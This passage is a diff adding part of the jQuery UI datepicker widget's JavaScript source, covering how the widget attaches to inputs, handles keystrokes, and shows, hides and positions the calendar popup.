+ var id = target[0].id.replace(/([^A-Za-z0-9_-])/g, '\\\\$1'); // escape jQuery meta chars
7173
+ return {id: id, input: target, // associated target
7174
+ selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
7175
+ drawMonth: 0, drawYear: 0, // month being drawn
7176
+ inline: inline, // is datepicker inline or not
7177
+ dpDiv: (!inline ? this.dpDiv : // presentation div
7178
+ bindHover($('<div class="' + this._inlineClass + ' ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all"></div>')))};
7179
+ },
7180
+
7181
+ /* Attach the date picker to an input field. */
7182
+ _connectDatepicker: function(target, inst) {
7183
+ var input = $(target);
7184
+ inst.append = $([]);
7185
+ inst.trigger = $([]);
7186
+ if (input.hasClass(this.markerClassName))
7187
+ return;
7188
+ this._attachments(input, inst);
7189
+ input.addClass(this.markerClassName).keydown(this._doKeyDown).
7190
+ keypress(this._doKeyPress).keyup(this._doKeyUp).
7191
+ bind("setData.datepicker", function(event, key, value) {
7192
+ inst.settings[key] = value;
7193
+ }).bind("getData.datepicker", function(event, key) {
7194
+ return this._get(inst, key);
7195
+ });
7196
+ this._autoSize(inst);
7197
+ $.data(target, PROP_NAME, inst);
7198
+ //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
7199
+ if( inst.settings.disabled ) {
7200
+ this._disableDatepicker( target );
7201
+ }
7202
+ },
7203
+
7204
+ /* Make attachments based on settings. */
7205
+ _attachments: function(input, inst) {
7206
+ var appendText = this._get(inst, 'appendText');
7207
+ var isRTL = this._get(inst, 'isRTL');
7208
+ if (inst.append)
7209
+ inst.append.remove();
7210
+ if (appendText) {
7211
+ inst.append = $('<span class="' + this._appendClass + '">' + appendText + '</span>');
7212
+ input[isRTL ? 'before' : 'after'](inst.append);
7213
+ }
7214
+ input.unbind('focus', this._showDatepicker);
7215
+ if (inst.trigger)
7216
+ inst.trigger.remove();
7217
+ var showOn = this._get(inst, 'showOn');
7218
+ if (showOn == 'focus' || showOn == 'both') // pop-up date picker when in the marked field
7219
+ input.focus(this._showDatepicker);
7220
+ if (showOn == 'button' || showOn == 'both') { // pop-up date picker when button clicked
7221
+ var buttonText = this._get(inst, 'buttonText');
7222
+ var buttonImage = this._get(inst, 'buttonImage');
7223
+ inst.trigger = $(this._get(inst, 'buttonImageOnly') ?
7224
+ $('<img/>').addClass(this._triggerClass).
7225
+ attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
7226
+ $('<button type="button"></button>').addClass(this._triggerClass).
7227
+ html(buttonImage == '' ? buttonText : $('<img/>').attr(
7228
+ { src:buttonImage, alt:buttonText, title:buttonText })));
7229
+ input[isRTL ? 'before' : 'after'](inst.trigger);
7230
+ inst.trigger.click(function() {
7231
+ if ($.datepicker._datepickerShowing && $.datepicker._lastInput == input[0])
7232
+ $.datepicker._hideDatepicker();
7233
+ else if ($.datepicker._datepickerShowing && $.datepicker._lastInput != input[0]) {
7234
+ $.datepicker._hideDatepicker();
7235
+ $.datepicker._showDatepicker(input[0]);
7236
+ } else
7237
+ $.datepicker._showDatepicker(input[0]);
7238
+ return false;
7239
+ });
7240
+ }
7241
+ },
7242
+
7243
+ /* Apply the maximum length for the date format. */
7244
+ _autoSize: function(inst) {
7245
+ if (this._get(inst, 'autoSize') && !inst.inline) {
7246
+ var date = new Date(2009, 12 - 1, 20); // Ensure double digits
7247
+ var dateFormat = this._get(inst, 'dateFormat');
7248
+ if (dateFormat.match(/[DM]/)) {
7249
+ var findMax = function(names) {
7250
+ var max = 0;
7251
+ var maxI = 0;
7252
+ for (var i = 0; i < names.length; i++) {
7253
+ if (names[i].length > max) {
7254
+ max = names[i].length;
7255
+ maxI = i;
7256
+ }
7257
+ }
7258
+ return maxI;
7259
+ };
7260
+ date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
7261
+ 'monthNames' : 'monthNamesShort'))));
7262
+ date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
7263
+ 'dayNames' : 'dayNamesShort'))) + 20 - date.getDay());
7264
+ }
7265
+ inst.input.attr('size', this._formatDate(inst, date).length);
7266
+ }
7267
+ },
7268
+
7269
+ /* Attach an inline date picker to a div. */
7270
+ _inlineDatepicker: function(target, inst) {
7271
+ var divSpan = $(target);
7272
+ if (divSpan.hasClass(this.markerClassName))
7273
+ return;
7274
+ divSpan.addClass(this.markerClassName).append(inst.dpDiv).
7275
+ bind("setData.datepicker", function(event, key, value){
7276
+ inst.settings[key] = value;
7277
+ }).bind("getData.datepicker", function(event, key){
7278
+ return this._get(inst, key);
7279
+ });
7280
+ $.data(target, PROP_NAME, inst);
7281
+ this._setDate(inst, this._getDefaultDate(inst), true);
7282
+ this._updateDatepicker(inst);
7283
+ this._updateAlternate(inst);
7284
+ //If disabled option is true, disable the datepicker before showing it (see ticket #5665)
7285
+ if( inst.settings.disabled ) {
7286
+ this._disableDatepicker( target );
7287
+ }
7288
+ // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
7289
+ // http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
7290
+ inst.dpDiv.css( "display", "block" );
7291
+ },
7292
+
7293
+ /* Pop-up the date picker in a "dialog" box.
7294
+ @param input element - ignored
7295
+ @param date string or Date - the initial date to display
7296
+ @param onSelect function - the function to call when a date is selected
7297
+ @param settings object - update the dialog date picker instance's settings (anonymous object)
7298
+ @param pos int[2] - coordinates for the dialog's position within the screen or
7299
+ event - with x/y coordinates or
7300
+ leave empty for default (screen centre)
7301
+ @return the manager object */
7302
+ _dialogDatepicker: function(input, date, onSelect, settings, pos) {
7303
+ var inst = this._dialogInst; // internal instance
7304
+ if (!inst) {
7305
+ this.uuid += 1;
7306
+ var id = 'dp' + this.uuid;
7307
+ this._dialogInput = $('<input type="text" id="' + id +
7308
+ '" style="position: absolute; top: -100px; width: 0px; z-index: -10;"/>');
7309
+ this._dialogInput.keydown(this._doKeyDown);
7310
+ $('body').append(this._dialogInput);
7311
+ inst = this._dialogInst = this._newInst(this._dialogInput, false);
7312
+ inst.settings = {};
7313
+ $.data(this._dialogInput[0], PROP_NAME, inst);
7314
+ }
7315
+ extendRemove(inst.settings, settings || {});
7316
+ date = (date && date.constructor == Date ? this._formatDate(inst, date) : date);
7317
+ this._dialogInput.val(date);
7318
+
7319
+ this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
7320
+ if (!this._pos) {
7321
+ var browserWidth = document.documentElement.clientWidth;
7322
+ var browserHeight = document.documentElement.clientHeight;
7323
+ var scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
7324
+ var scrollY = document.documentElement.scrollTop || document.body.scrollTop;
7325
+ this._pos = // should use actual width/height below
7326
+ [(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
7327
+ }
7328
+
7329
+ // move input on screen for focus, but hidden behind dialog
7330
+ this._dialogInput.css('left', (this._pos[0] + 20) + 'px').css('top', this._pos[1] + 'px');
7331
+ inst.settings.onSelect = onSelect;
7332
+ this._inDialog = true;
7333
+ this.dpDiv.addClass(this._dialogClass);
7334
+ this._showDatepicker(this._dialogInput[0]);
7335
+ if ($.blockUI)
7336
+ $.blockUI(this.dpDiv);
7337
+ $.data(this._dialogInput[0], PROP_NAME, inst);
7338
+ return this;
7339
+ },
7340
+
7341
+ /* Detach a datepicker from its control.
7342
+ @param target element - the target input field or division or span */
7343
+ _destroyDatepicker: function(target) {
7344
+ var $target = $(target);
7345
+ var inst = $.data(target, PROP_NAME);
7346
+ if (!$target.hasClass(this.markerClassName)) {
7347
+ return;
7348
+ }
7349
+ var nodeName = target.nodeName.toLowerCase();
7350
+ $.removeData(target, PROP_NAME);
7351
+ if (nodeName == 'input') {
7352
+ inst.append.remove();
7353
+ inst.trigger.remove();
7354
+ $target.removeClass(this.markerClassName).
7355
+ unbind('focus', this._showDatepicker).
7356
+ unbind('keydown', this._doKeyDown).
7357
+ unbind('keypress', this._doKeyPress).
7358
+ unbind('keyup', this._doKeyUp);
7359
+ } else if (nodeName == 'div' || nodeName == 'span')
7360
+ $target.removeClass(this.markerClassName).empty();
7361
+ },
7362
+
7363
+ /* Enable the date picker to a jQuery selection.
7364
+ @param target element - the target input field or division or span */
7365
+ _enableDatepicker: function(target) {
7366
+ var $target = $(target);
7367
+ var inst = $.data(target, PROP_NAME);
7368
+ if (!$target.hasClass(this.markerClassName)) {
7369
+ return;
7370
+ }
7371
+ var nodeName = target.nodeName.toLowerCase();
7372
+ if (nodeName == 'input') {
7373
+ target.disabled = false;
7374
+ inst.trigger.filter('button').
7375
+ each(function() { this.disabled = false; }).end().
7376
+ filter('img').css({opacity: '1.0', cursor: ''});
7377
+ }
7378
+ else if (nodeName == 'div' || nodeName == 'span') {
7379
+ var inline = $target.children('.' + this._inlineClass);
7380
+ inline.children().removeClass('ui-state-disabled');
7381
+ inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
7382
+ removeAttr("disabled");
7383
+ }
7384
+ this._disabledInputs = $.map(this._disabledInputs,
7385
+ function(value) { return (value == target ? null : value); }); // delete entry
7386
+ },
7387
+
7388
+ /* Disable the date picker to a jQuery selection.
7389
+ @param target element - the target input field or division or span */
7390
+ _disableDatepicker: function(target) {
7391
+ var $target = $(target);
7392
+ var inst = $.data(target, PROP_NAME);
7393
+ if (!$target.hasClass(this.markerClassName)) {
7394
+ return;
7395
+ }
7396
+ var nodeName = target.nodeName.toLowerCase();
7397
+ if (nodeName == 'input') {
7398
+ target.disabled = true;
7399
+ inst.trigger.filter('button').
7400
+ each(function() { this.disabled = true; }).end().
7401
+ filter('img').css({opacity: '0.5', cursor: 'default'});
7402
+ }
7403
+ else if (nodeName == 'div' || nodeName == 'span') {
7404
+ var inline = $target.children('.' + this._inlineClass);
7405
+ inline.children().addClass('ui-state-disabled');
7406
+ inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
7407
+ attr("disabled", "disabled");
7408
+ }
7409
+ this._disabledInputs = $.map(this._disabledInputs,
7410
+ function(value) { return (value == target ? null : value); }); // delete entry
7411
+ this._disabledInputs[this._disabledInputs.length] = target;
7412
+ },
7413
+
7414
+ /* Is the first field in a jQuery collection disabled as a datepicker?
7415
+ @param target element - the target input field or division or span
7416
+ @return boolean - true if disabled, false if enabled */
7417
+ _isDisabledDatepicker: function(target) {
7418
+ if (!target) {
7419
+ return false;
7420
+ }
7421
+ for (var i = 0; i < this._disabledInputs.length; i++) {
7422
+ if (this._disabledInputs[i] == target)
7423
+ return true;
7424
+ }
7425
+ return false;
7426
+ },
7427
+
7428
+ /* Retrieve the instance data for the target control.
7429
+ @param target element - the target input field or division or span
7430
+ @return object - the associated instance data
7431
+ @throws error if a jQuery problem getting data */
7432
+ _getInst: function(target) {
7433
+ try {
7434
+ return $.data(target, PROP_NAME);
7435
+ }
7436
+ catch (err) {
7437
+ throw 'Missing instance data for this datepicker';
7438
+ }
7439
+ },
7440
+
7441
+ /* Update or retrieve the settings for a date picker attached to an input field or division.
7442
+ @param target element - the target input field or division or span
7443
+ @param name object - the new settings to update or
7444
+ string - the name of the setting to change or retrieve,
7445
+ when retrieving also 'all' for all instance settings or
7446
+ 'defaults' for all global defaults
7447
+ @param value any - the new value for the setting
7448
+ (omit if above is an object or to retrieve a value) */
7449
+ _optionDatepicker: function(target, name, value) {
7450
+ var inst = this._getInst(target);
7451
+ if (arguments.length == 2 && typeof name == 'string') {
7452
+ return (name == 'defaults' ? $.extend({}, $.datepicker._defaults) :
7453
+ (inst ? (name == 'all' ? $.extend({}, inst.settings) :
7454
+ this._get(inst, name)) : null));
7455
+ }
7456
+ var settings = name || {};
7457
+ if (typeof name == 'string') {
7458
+ settings = {};
7459
+ settings[name] = value;
7460
+ }
7461
+ if (inst) {
7462
+ if (this._curInst == inst) {
7463
+ this._hideDatepicker();
7464
+ }
7465
+ var date = this._getDateDatepicker(target, true);
7466
+ var minDate = this._getMinMaxDate(inst, 'min');
7467
+ var maxDate = this._getMinMaxDate(inst, 'max');
7468
+ extendRemove(inst.settings, settings);
7469
+ // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
7470
+ if (minDate !== null && settings['dateFormat'] !== undefined && settings['minDate'] === undefined)
7471
+ inst.settings.minDate = this._formatDate(inst, minDate);
7472
+ if (maxDate !== null && settings['dateFormat'] !== undefined && settings['maxDate'] === undefined)
7473
+ inst.settings.maxDate = this._formatDate(inst, maxDate);
7474
+ this._attachments($(target), inst);
7475
+ this._autoSize(inst);
7476
+ this._setDate(inst, date);
7477
+ this._updateAlternate(inst);
7478
+ this._updateDatepicker(inst);
7479
+ }
7480
+ },
7481
+
7482
+ // change method deprecated
7483
+ _changeDatepicker: function(target, name, value) {
7484
+ this._optionDatepicker(target, name, value);
7485
+ },
7486
+
7487
+ /* Redraw the date picker attached to an input field or division.
7488
+ @param target element - the target input field or division or span */
7489
+ _refreshDatepicker: function(target) {
7490
+ var inst = this._getInst(target);
7491
+ if (inst) {
7492
+ this._updateDatepicker(inst);
7493
+ }
7494
+ },
7495
+
7496
+ /* Set the dates for a jQuery selection.
7497
+ @param target element - the target input field or division or span
7498
+ @param date Date - the new date */
7499
+ _setDateDatepicker: function(target, date) {
7500
+ var inst = this._getInst(target);
7501
+ if (inst) {
7502
+ this._setDate(inst, date);
7503
+ this._updateDatepicker(inst);
7504
+ this._updateAlternate(inst);
7505
+ }
7506
+ },
7507
+
7508
+ /* Get the date(s) for the first entry in a jQuery selection.
7509
+ @param target element - the target input field or division or span
7510
+ @param noDefault boolean - true if no default date is to be used
7511
+ @return Date - the current date */
7512
+ _getDateDatepicker: function(target, noDefault) {
7513
+ var inst = this._getInst(target);
7514
+ if (inst && !inst.inline)
7515
+ this._setDateFromField(inst, noDefault);
7516
+ return (inst ? this._getDate(inst) : null);
7517
+ },
7518
+
7519
+ /* Handle keystrokes. */
7520
+ _doKeyDown: function(event) {
7521
+ var inst = $.datepicker._getInst(event.target);
7522
+ var handled = true;
7523
+ var isRTL = inst.dpDiv.is('.ui-datepicker-rtl');
7524
+ inst._keyEvent = true;
7525
+ if ($.datepicker._datepickerShowing)
7526
+ switch (event.keyCode) {
7527
+ case 9: $.datepicker._hideDatepicker();
7528
+ handled = false;
7529
+ break; // hide on tab out
7530
+ case 13: var sel = $('td.' + $.datepicker._dayOverClass + ':not(.' +
7531
+ $.datepicker._currentClass + ')', inst.dpDiv);
7532
+ if (sel[0])
7533
+ $.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]);
7534
+ var onSelect = $.datepicker._get(inst, 'onSelect');
7535
+ if (onSelect) {
7536
+ var dateStr = $.datepicker._formatDate(inst);
7537
+
7538
+ // trigger custom callback
7539
+ onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
7540
+ }
7541
+ else
7542
+ $.datepicker._hideDatepicker();
7543
+ return false; // don't submit the form
7544
+ break; // select the value on enter
7545
+ case 27: $.datepicker._hideDatepicker();
7546
+ break; // hide on escape
7547
+ case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
7548
+ -$.datepicker._get(inst, 'stepBigMonths') :
7549
+ -$.datepicker._get(inst, 'stepMonths')), 'M');
7550
+ break; // previous month/year on page up/+ ctrl
7551
+ case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
7552
+ +$.datepicker._get(inst, 'stepBigMonths') :
7553
+ +$.datepicker._get(inst, 'stepMonths')), 'M');
7554
+ break; // next month/year on page down/+ ctrl
7555
+ case 35: if (event.ctrlKey || event.metaKey) $.datepicker._clearDate(event.target);
7556
+ handled = event.ctrlKey || event.metaKey;
7557
+ break; // clear on ctrl or command +end
7558
+ case 36: if (event.ctrlKey || event.metaKey) $.datepicker._gotoToday(event.target);
7559
+ handled = event.ctrlKey || event.metaKey;
7560
+ break; // current on ctrl or command +home
7561
+ case 37: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D');
7562
+ handled = event.ctrlKey || event.metaKey;
7563
+ // -1 day on ctrl or command +left
7564
+ if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?
7565
+ -$.datepicker._get(inst, 'stepBigMonths') :
7566
+ -$.datepicker._get(inst, 'stepMonths')), 'M');
7567
+ // next month/year on alt +left on Mac
7568
+ break;
7569
+ case 38: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, -7, 'D');
7570
+ handled = event.ctrlKey || event.metaKey;
7571
+ break; // -1 week on ctrl or command +up
7572
+ case 39: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D');
7573
+ handled = event.ctrlKey || event.metaKey;
7574
+ // +1 day on ctrl or command +right
7575
+ if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?
7576
+ +$.datepicker._get(inst, 'stepBigMonths') :
7577
+ +$.datepicker._get(inst, 'stepMonths')), 'M');
7578
+ // next month/year on alt +right
7579
+ break;
7580
+ case 40: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, +7, 'D');
7581
+ handled = event.ctrlKey || event.metaKey;
7582
+ break; // +1 week on ctrl or command +down
7583
+ default: handled = false;
7584
+ }
7585
+ else if (event.keyCode == 36 && event.ctrlKey) // display the date picker on ctrl+home
7586
+ $.datepicker._showDatepicker(this);
7587
+ else {
7588
+ handled = false;
7589
+ }
7590
+ if (handled) {
7591
+ event.preventDefault();
7592
+ event.stopPropagation();
7593
+ }
7594
+ },
7595
+
7596
+ /* Filter entered characters - based on date format. */
7597
+ _doKeyPress: function(event) {
7598
+ var inst = $.datepicker._getInst(event.target);
7599
+ if ($.datepicker._get(inst, 'constrainInput')) {
7600
+ var chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat'));
7601
+ var chr = String.fromCharCode(event.charCode == undefined ? event.keyCode : event.charCode);
7602
+ return event.ctrlKey || event.metaKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);
7603
+ }
7604
+ },
7605
+
7606
+ /* Synchronise manual entry and field/alternate field. */
7607
+ _doKeyUp: function(event) {
7608
+ var inst = $.datepicker._getInst(event.target);
7609
+ if (inst.input.val() != inst.lastVal) {
7610
+ try {
7611
+ var date = $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'),
7612
+ (inst.input ? inst.input.val() : null),
7613
+ $.datepicker._getFormatConfig(inst));
7614
+ if (date) { // only if valid
7615
+ $.datepicker._setDateFromField(inst);
7616
+ $.datepicker._updateAlternate(inst);
7617
+ $.datepicker._updateDatepicker(inst);
7618
+ }
7619
+ }
7620
+ catch (err) {
7621
+ $.datepicker.log(err);
7622
+ }
7623
+ }
7624
+ return true;
7625
+ },
7626
+
7627
+ /* Pop-up the date picker for a given input field.
7628
+ If false returned from beforeShow event handler do not show.
7629
+ @param input element - the input field attached to the date picker or
7630
+ event - if triggered by focus */
7631
+ _showDatepicker: function(input) {
7632
+ input = input.target || input;
7633
+ if (input.nodeName.toLowerCase() != 'input') // find from button/image trigger
7634
+ input = $('input', input.parentNode)[0];
7635
+ if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) // already here
7636
+ return;
7637
+ var inst = $.datepicker._getInst(input);
7638
+ if ($.datepicker._curInst && $.datepicker._curInst != inst) {
7639
+ $.datepicker._curInst.dpDiv.stop(true, true);
7640
+ if ( inst && $.datepicker._datepickerShowing ) {
7641
+ $.datepicker._hideDatepicker( $.datepicker._curInst.input[0] );
7642
+ }
7643
+ }
7644
+ var beforeShow = $.datepicker._get(inst, 'beforeShow');
7645
+ var beforeShowSettings = beforeShow ? beforeShow.apply(input, [input, inst]) : {};
7646
+ if(beforeShowSettings === false){
7647
+ //false
7648
+ return;
7649
+ }
7650
+ extendRemove(inst.settings, beforeShowSettings);
7651
+ inst.lastVal = null;
7652
+ $.datepicker._lastInput = input;
7653
+ $.datepicker._setDateFromField(inst);
7654
+ if ($.datepicker._inDialog) // hide cursor
7655
+ input.value = '';
7656
+ if (!$.datepicker._pos) { // position below input
7657
+ $.datepicker._pos = $.datepicker._findPos(input);
7658
+ $.datepicker._pos[1] += input.offsetHeight; // add the height
7659
+ }
7660
+ var isFixed = false;
7661
+ $(input).parents().each(function() {
7662
+ isFixed |= $(this).css('position') == 'fixed';
7663
+ return !isFixed;
7664
+ });
7665
+ if (isFixed && $.browser.opera) { // correction for Opera when fixed and scrolled
7666
+ $.datepicker._pos[0] -= document.documentElement.scrollLeft;
7667
+ $.datepicker._pos[1] -= document.documentElement.scrollTop;
7668
+ }
7669
+ var offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
7670
+ $.datepicker._pos = null;
7671
+ //to avoid flashes on Firefox
7672
+ inst.dpDiv.empty();
7673
+ // determine sizing offscreen
7674
+ inst.dpDiv.css({position: 'absolute', display: 'block', top: '-1000px'});
7675
+ $.datepicker._updateDatepicker(inst);
7676
+ // fix width for dynamic number of date pickers
7677
+ // and adjust position before showing
7678
+ offset = $.datepicker._checkOffset(inst, offset, isFixed);
7679
+ inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
7680
+ 'static' : (isFixed ? 'fixed' : 'absolute')), display: 'none',
7681
+ left: offset.left + 'px', top: offset.top + 'px'});
7682
+ if (!inst.inline) {
7683
+ var showAnim = $.datepicker._get(inst, 'showAnim');
7684
+ var duration = $.datepicker._get(inst, 'duration');
7685
+ var postProcess = function() {
7686
+ var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); // IE6- only
7687
+ if( !! cover.length ){
7688
+ var borders = $.datepicker._getBorders(inst.dpDiv);
7689
+ cover.css({left: -borders[0], top: -borders[1],
7690
+ width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()});
7691
+ }
7692
+ };
7693
+ inst.dpDiv.zIndex($(input).zIndex()+1);
7694
+ $.datepicker._datepickerShowing = true;
7695
+ if ($.effects && $.effects[showAnim])
7696
+ inst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
7697
+ else
7698
+ inst.dpDiv[showAnim || 'show']((showAnim ? duration : null), postProcess);
7699
+ if (!showAnim || !duration)
7700
+ postProcess();
7701
+ if (inst.input.is(':visible') && !inst.input.is(':disabled'))
7702
+ inst.input.focus();
7703
+ $.datepicker._curInst = inst;
7704
+ }
7705
+ },
7706
+
7707
+ /* Generate the date picker content. */
7708
+ _updateDatepicker: function(inst) {
7709
+ var self = this;
7710
+ self.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
7711
+ var borders = $.datepicker._getBorders(inst.dpDiv);
7712
+ instActive = inst; // for delegate hover events
7713
+ inst.dpDiv.empty().append(this._generateHTML(inst));
7714
+ var cover = inst.dpDiv.find('iframe.ui-datepicker-cover'); // IE6- only
7715
+ if( !!cover.length ){ //avoid call to outerXXXX() when not in IE6
7716
+ cover.css({left: -borders[0], top: -borders[1], width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()})
7717
+ }
7718
+ inst.dpDiv.find('.' + this._dayOverClass + ' a').mouseover();
7719
+ var numMonths = this._getNumberOfMonths(inst);
7720
+ var cols = numMonths[1];
7721
+ var width = 17;
7722
+ inst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4').width('');
7723
+ if (cols > 1)
7724
+ inst.dpDiv.addClass('ui-datepicker-multi-' + cols).css('width', (width * cols) + 'em');
7725
+ inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') +
7726
+ 'Class']('ui-datepicker-multi');
7727
+ inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') +
7728
+ 'Class']('ui-datepicker-rtl');
7729
+ if (inst == $.datepicker._curInst && $.datepicker._datepickerShowing && inst.input &&
7730
+ // #6694 - don't focus the input if it's already focused
7731
+ // this breaks the change event in IE
7732
+ inst.input.is(':visible') && !inst.input.is(':disabled') && inst.input[0] != document.activeElement)
7733
+ inst.input.focus();
7734
+ // deffered render of the years select (to avoid flashes on Firefox)
7735
+ if( inst.yearshtml ){
7736
+ var origyearshtml = inst.yearshtml;
7737
+ setTimeout(function(){
7738
+ //assure that inst.yearshtml didn't change.
7739
+ if( origyearshtml === inst.yearshtml && inst.yearshtml ){
7740
+ inst.dpDiv.find('select.ui-datepicker-year:first').replaceWith(inst.yearshtml);
7741
+ }
7742
+ origyearshtml = inst.yearshtml = null;
7743
+ }, 0);
7744
+ }
7745
+ },
7746
+
7747
+ /* Retrieve the size of left and top borders for an element.
7748
+ @param elem (jQuery object) the element of interest
7749
+ @return (number[2]) the left and top borders */
7750
+ _getBorders: function(elem) {
7751
+ var convert = function(value) {
7752
+ return {thin: 1, medium: 2, thick: 3}[value] || value;
7753
+ };
7754
+ return [parseFloat(convert(elem.css('border-left-width'))),
7755
+ parseFloat(convert(elem.css('border-top-width')))];
7756
+ },
7757
+
7758
+ /* Check positioning to remain on screen. */
7759
+ _checkOffset: function(inst, offset, isFixed) {
7760
+ var dpWidth = inst.dpDiv.outerWidth();
7761
+ var dpHeight = inst.dpDiv.outerHeight();
7762
+ var inputWidth = inst.input ? inst.input.outerWidth() : 0;
7763
+ var inputHeight = inst.input ? inst.input.outerHeight() : 0;
7764
+ var viewWidth = document.documentElement.clientWidth + $(document).scrollLeft();
7765
+ var viewHeight = document.documentElement.clientHeight + $(document).scrollTop();
7766
+
7767
+ offset.left -= (this._get(inst, 'isRTL') ? (dpWidth - inputWidth) : 0);
7768
+ offset.left -= (isFixed && offset.left == inst.input.offset().left) ? $(document).scrollLeft() : 0;
7769
+ offset.top -= (isFixed && offset.top == (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0;
7770
+
7771
+ // now check if datepicker is showing outside window viewport - move to a better place if so.
7772
+ offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ?
7773
+ Math.abs(offset.left + dpWidth - viewWidth) : 0);
7774
+ offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ?
7775
+ Math.abs(dpHeight + inputHeight) : 0);
7776
+
7777
+ return offset;
7778
+ },
7779
+
7780
+ /* Find an object's position on the screen. */
7781
+ _findPos: function(obj) {
7782
+ var inst = this._getInst(obj);
7783
+ var isRTL = this._get(inst, 'isRTL');
7784
+ while (obj && (obj.type == 'hidden' || obj.nodeType != 1 || $.expr.filters.hidden(obj))) {
7785
+ obj = obj[isRTL ? 'previousSibling' : 'nextSibling'];
7786
+ }
7787
+ var position = $(obj).offset();
7788
+ return [position.left, position.top];
7789
+ },
7790
+
7791
+ /* Hide the date picker from view.
7792
+ @param input element - the input field attached to the date picker */
7793
+ _hideDatepicker: function(input) {
7794
+ var inst = this._curInst;
7795
+ if (!inst || (input && inst != $.data(input, PROP_NAME)))
7796
+ return;
7797
+ if (this._datepickerShowing) {
7798
+ var showAnim = this._get(inst, 'showAnim');
7799
+ var duration = this._get(inst, 'duration');
7800
+ var postProcess = function() {
7801
+ $.datepicker._tidyDialog(inst);
7802
+ };
7803
+ if ($.effects && $.effects[showAnim])
7804
+ inst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
7805
+ else
7806
+ inst.dpDiv[(showAnim == 'slideDown' ? 'slideUp' :
7807
+ (showAnim == 'fadeIn' ? 'fadeOut' : 'hide'))]((showAnim ? duration : null), postProcess);
7808
+ if (!showAnim)
7809
+ postProcess();
7810
+ this._datepickerShowing = false;
7811
+ var onClose = this._get(inst, 'onClose');
7812
+ if (onClose)
7813
+ onClose.apply((inst.input ? inst.input[0] : null),
7814
+ [(inst.input ? inst.input.val() : ''), inst]);
7815
+ this._lastInput = null;
7816
+ if (this._inDialog) {
7817
+ this._dialogInput.css({ position: 'absolute', left: '0', top: '-100px' });
7818
+ if ($.blockUI) {
7819
+ $.unblockUI();
7820
+ $('body').append(this.dpDiv);
7821
+ }
7822
+ }
7823
+ this._inDialog = false;
7824
+ }
7825
+ },
7826
+
7827
+ /* Tidy up after a dialog display. */
7828
+ _tidyDialog: function(inst) {
7829
+ inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar');
7830
+ },
7831
+
7832
+ /* Close date picker if clicked elsewhere. */
7833
+ _checkExternalClick: function(event) {
7834
+ if (!$.datepicker._curInst)
7835
+ return;
7836
+
7837
+ var $target = $(event.target),
7838
+ inst = $.datepicker._getInst($target[0]);
7839
+
7840
+ if ( ( ( $target[0].id != $.datepicker._mainDivId &&
7841
+ $target.parents('#' + $.datepicker._mainDivId).length == 0 &&
7842
+ !$target.hasClass($.datepicker.markerClassName) &&
7843
+ !$target.closest("." + $.datepicker._triggerClass).length &&
7844
+ $.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI) ) ) ||
7845
+ ( $target.hasClass($.datepicker.markerClassName) && $.datepicker._curInst != inst ) )
7846
+ $.datepicker._hideDatepicker();
7847
+ },
7848
+
7849
+ /* Adjust one of the date sub-fields. */
7850
+ _adjustDate: function(id, offset, period) {
7851
+ var target = $(id);
7852
+ var inst = this._getInst(target[0]);
7853
+ if (this._isDisabledDatepicker(target[0])) {
7854
+ return;
7855
+ }
7856
+ this._adjustInstDate(inst, offset +
7857
+ (period == 'M' ? this._get(inst, 'showCurrentAtPos') : 0), // undo positioning
7858
+ period);
7859
+ this._updateDatepicker(inst);
7860
+ },
7861
+
7862
+ /* Action for current link. */
7863
+ _gotoToday: function(id) {
7864
+ var target = $(id);
7865
+ var inst = this._getInst(target[0]);
7866
+ if (this._get(inst, 'gotoCurrent') && inst.currentDay) {
7867
+ inst.selectedDay = inst.currentDay;
7868
+ inst.drawMonth = inst.selectedMonth = inst.currentMonth;
7869
